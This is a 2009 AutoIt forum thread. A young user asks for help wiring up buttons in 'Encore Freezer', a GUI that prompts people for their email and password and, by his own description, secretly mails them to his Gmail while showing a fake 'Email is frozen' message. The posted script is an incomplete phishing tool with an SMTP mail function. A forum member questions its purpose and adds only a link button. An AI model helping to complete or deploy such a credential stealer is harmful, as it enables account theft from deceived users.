hacker032 Posted January 31, 2009 Share Posted January 31, 2009 am new in this scripting and i making some program so i made on button and i have to type link in it so how please tell me? Link to comment Share on other sites More sharing options...
martin Posted January 31, 2009 Share Posted January 31, 2009 am new in this scripting and i making some program so i made on button and i have to type link in it so how please tell me?Welcome to the AutoIt forums hacker032 Can you show what you have so far? Serial port communications UDF Includes functions for binary transmission and reception.printing UDF Useful for graphs, forms, labels, reports etc.Add User Call Tips to SciTE for functions in UDFs not included with AutoIt and for your own scripts.Functions with parameters in OnEvent mode and for Hot Keys One function replaces GuiSetOnEvent, GuiCtrlSetOnEvent and HotKeySet.UDF IsConnected2 for notification of status of connected state of many urls or IPs, without slowing the script. Link to comment Share on other sites More sharing options...
hacker032 Posted February 1, 2009 Author Share Posted February 1, 2009 (edited) here is screenshoot Down after freeze and unfreeze should be a button with link so can u help me..Function is that someone type fields and press freeze or unfreeze all sends to one mail but it's open one pop up with "Email is forzen" Fake but it's my first is that ok? Edited February 1, 2009 by hacker032 Link to comment Share on other sites More sharing options...
martin Posted February 1, 2009 Share Posted February 1, 2009 here is screenshoot Down after freeze and unfreeze should be a button with link so can u help me..Function is that someone type fields and press freeze or unfreeze all sends to one mail but it's open one pop up with "Email is forzen" Fake but it's my first is that ok?Thanks. What I meant was have you got any code to show.The button at the bottom which you want for a link, do you mean that when someone presses it the email gets sent? Maybe I haven't understood you. Serial port communications UDF Includes functions for binary transmission and reception.printing UDF Useful for graphs, forms, labels, reports etc.Add User Call Tips to SciTE for functions in UDFs not included with AutoIt and for your own scripts.Functions with parameters in OnEvent mode and for Hot Keys One function replaces GuiSetOnEvent, GuiCtrlSetOnEvent and HotKeySet.UDF IsConnected2 for notification of status of connected state of many urls or IPs, without slowing the script. Link to comment Share on other sites More sharing options...
hacker032 Posted February 2, 2009 Author Share Posted February 2, 2009 yeah u type fields and all sent to my gmail user...Its my first i have 12 years Link to comment Share on other sites More sharing options...
hacker032 Posted February 2, 2009 Author Share Posted February 2, 2009 now i just change this fields in a input box like this is augly pls help me and i need just a button function for sending and pls tell me where to put it Link to comment Share on other sites More sharing options...
hacker032 Posted February 2, 2009 Author Share Posted February 2, 2009 (edited) anyone gonna help????? first u press freeze and all sents to gmail and the link is for a real forum i just have to active that buttons one is for sending "Freeze!"...."Defreeze" is nothing and and last one is for a link to go at the forum.....Just need to get activate Edited February 2, 2009 by hacker032 Link to comment Share on other sites More sharing options...
BrettF Posted February 2, 2009 Share Posted February 2, 2009 (edited) Possible if you talk in legible english and if you do what was already suggested (Post your code), we can... And why the blacking out of parts in your picture? Got something to hide about the nature of the program? EDIT: Also, wait 24 hours before bumping your post! Edited February 2, 2009 by BrettF Vist my blog!UDFs: Opens The Default Mail Client | _LoginBox | Convert Reg to AU3 | BASS.au3 (BASS.dll) (Includes various BASS Libraries) | MultiLang.au3 (Multi-Language GUIs!)Example Scripts: Computer Info Telnet Server | "Secure" HTTP Server (Based on Manadar's Server)Software: AAMP- Advanced AutoIt Media Player | WorldCam | AYTU - Youtube Uploader Tutorials: Learning to Script with AutoIt V3Projects (Hardware + AutoIt): ArduinoUseful Links: AutoIt 1-2-3 | The AutoIt Downloads Section: | SciTE4AutoIt3 Full Version! Link to comment Share on other sites More sharing options...
hacker032 Posted February 3, 2009 Author Share Posted February 3, 2009 expandcollapse popup#cs ---------------------------------------------------------------------------- AutoIt Version: 3.3.0.0 Author: Ivan Andrijanic Script Function: Template AutoIt script. #ce ---------------------------------------------------------------------------- ; Script Start - Add your code below here #include <ButtonConstants.au3> #include <EditConstants.au3> #include <GUIConstantsEx.au3> #include <StaticConstants.au3> #include <WindowsConstants.au3> #Region ### START Koda GUI section ### Form=c:\documents and settings\korisnik\desktop\desktop\encorefreezer 1.kxf $Form1_1 = GUICreate("Encore Freezer 1.0", 357, 380, 297, 181) GUISetFont(10, 800, 0, "Comic Sans MS") GUISetBkColor(0xFFFFFF) $Label2 = GUICtrlCreateLabel("Email:", 40, 161, 43, 23) $Label3 = GUICtrlCreateLabel("My Email:", 16, 207, 67, 23) $Label4 = GUICtrlCreateLabel("Password:", 15, 255, 66, 23) $UnFreeze = GUICtrlCreateButton("UnFreeze", 200, 297, 75, 25, 0) GUICtrlSetTip(-1, "UnFreeze!") $Freeze = GUICtrlCreateButton("Freeze", 91, 298, 75, 25, 0) GUICtrlSetTip(-1, "Freeze!") $Group1 = GUICtrlCreateGroup("Account info", 36, 530, 303, 120) GUICtrlCreateGroup("", -99, -99, 1, 1) $Input1 = GUICtrlCreateInput("Password", 166, 600, 146, 27) GUICtrlCreateInput("pwned879@gmail.com", 166, 560, 146, 27) $Label5 = GUICtrlCreateLabel("Password:", 86, 601, 66, 23) $Label6 = GUICtrlCreateLabel("Gmail Username:", 47, 564, 110, 23) $Label8 = GUICtrlCreateLabel("To:", 117, 668, 26, 23) $Button1 = GUICtrlCreateButton("Visit Encore Forum", 103, 336, 156, 24, 0) GUICtrlSetTip(-1, "Encore!") $Input2 = GUICtrlCreateInput("encorehacking@gmail.com", 144, 662, 211, 27) $Pic1 = GUICtrlCreatePic("C:\Documents and Settings\korisnik\Desktop\abx.JPG", 90, 5, 190, 99, BitOR($SS_NOTIFY,$WS_GROUP,$WS_CLIPSIBLINGS)) GUICtrlCreateInput("", 95, 157, 181, 27) GUICtrlCreateInput("", 93, 204, 183, 27) GUICtrlCreateInput("", 92, 255, 184, 27) $Label1 = GUICtrlCreateLabel("How Long:", 12, 118, 70, 23) GUICtrlCreateInput("", 94, 113, 181, 27) $Label7 = GUICtrlCreateLabel("Minutes", 287, 115, 52, 23) GUISetState(@SW_SHOW) #EndRegion ### END Koda GUI section ### While 1 $nMsg = GUIGetMsg() Switch $nMsg Case $GUI_EVENT_CLOSE Exit EndSwitch WEnd ; ; The UDF Func _INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject = "", $as_Body = "", $s_AttachFiles = "", $s_CcAddress = "", $s_BccAddress = "", $s_Importance = "Normal", $s_Username = "", $s_Password = "", $IPPort = 25, $ssl = 0) Local $objEmail = ObjCreate("CDO.Message") $objEmail.From = '"' & $s_FromName & '" <' & $s_FromAddress & '>' $objEmail.To = $s_ToAddress Local $i_Error = 0 Local $i_Error_desciption = "" If $s_CcAddress <> "" Then $objEmail.Cc = $s_CcAddress If $s_BccAddress <> "" Then $objEmail.Bcc = $s_BccAddress $objEmail.Subject = $s_Subject If StringInStr($as_Body, "<") And StringInStr($as_Body, ">") Then $objEmail.HTMLBody = $as_Body Else $objEmail.Textbody = $as_Body & @CRLF EndIf If $s_AttachFiles <> "" Then Local $S_Files2Attach = StringSplit($s_AttachFiles, ";") For $x = 1 To $S_Files2Attach[0] $S_Files2Attach[$x] = _PathFull($S_Files2Attach[$x]) ConsoleWrite('@@ Debug(62) : $S_Files2Attach = ' & $S_Files2Attach & @LF & '>Error code: ' & @error & @LF);### Debug Console If FileExists($S_Files2Attach[$x]) Then $objEmail.AddAttachment($S_Files2Attach[$x]) Else ConsoleWrite('!> File not found to attach: ' & $S_Files2Attach[$x] & @LF) SetError(1) Return 0 EndIf Next EndIf $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2 $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = $s_SmtpServer If Number($IPPort) = 0 Then $IPPort = 25 $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = $IPPort ;Authenticated SMTP If $s_Username <> "" Then $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1 $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusername") = $s_Username $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword") = $s_Password EndIf If $ssl Then $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True EndIf ;Update settings $objEmail.Configuration.Fields.Update ; Set Email Importance Switch $s_Importance Case "" $objEmail.Fields.Item("urn:schemas:mailheader:Importance") = "H" Case "" $objEmail.Fields.Item("urn:schemas:mailheader:Importance") = "N" Case "" $objEmail.Fields.Item("urn:schemas:mailheader:Importance") = "L" EndSwitch $objEmail.Fields.Update ; Sent the Message $objEmail.Send If @error Then SetError(2) Return $oMyRet[1] EndIf $objEmail = "" EndFunc ;==>_INetSmtpMailCom Func MyErrFunc() $HexNumber = Hex($oMyError.number, 8) $oMyRet[0] = $HexNumber $oMyRet[1] = StringStripWS($oMyError.description, 3) ConsoleWrite("### COM Error ! Number: " & $HexNumber & " ScriptLine: " & $oMyError.scriptline & " Description:" & $oMyRet[1] & @LF) SetError(1); something to check for when this function returns Return EndFunc ;==>MyErrFunc While 1 $nMsg = GUIGetMsg() Switch $nMsg Case $GUI_EVENT_CLOSE Exit EndSwitch WEnd Here! Link to comment Share on other sites More sharing options...
BrettF Posted February 3, 2009 Share Posted February 3, 2009 Hi there, Take a close look at your GUI message loop. While 1 $nMsg = GUIGetMsg() Switch $nMsg Case $GUI_EVENT_CLOSE Exit Case $Button1 ShellExecute ("http://www.google.com.au/") EndSwitch WEnd See where I added a case statement? Basically when you create a control, it returns a control ID. GUIGetMsg will also return a control ID when an action happens to the control- mouse click etc. I used ShellExecute so the webpage opens in my browser. Just a note though, you had a second Loop at the bottom of your script, and It had no reason to be there, so I deleted it, but I also had problems getting it to run with _INETSMTPMailCom(), so make sure you have a look at undeclared variables (use the full version of SciTE, the download link is in my sig... ) Cheers, Brett Vist my blog!UDFs: Opens The Default Mail Client | _LoginBox | Convert Reg to AU3 | BASS.au3 (BASS.dll) (Includes various BASS Libraries) | MultiLang.au3 (Multi-Language GUIs!)Example Scripts: Computer Info Telnet Server | "Secure" HTTP Server (Based on Manadar's Server)Software: AAMP- Advanced AutoIt Media Player | WorldCam | AYTU - Youtube Uploader Tutorials: Learning to Script with AutoIt V3Projects (Hardware + AutoIt): ArduinoUseful Links: AutoIt 1-2-3 | The AutoIt Downloads Section: | SciTE4AutoIt3 Full Version! Link to comment Share on other sites More sharing options...
hacker032 Posted February 4, 2009 Author Share Posted February 4, 2009 no probs i have my friend.. Link to comment Share on other sites More sharing options...
Recommended Posts
Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
Register a new accountSign in
Already have an account? Sign in here.
Sign In Now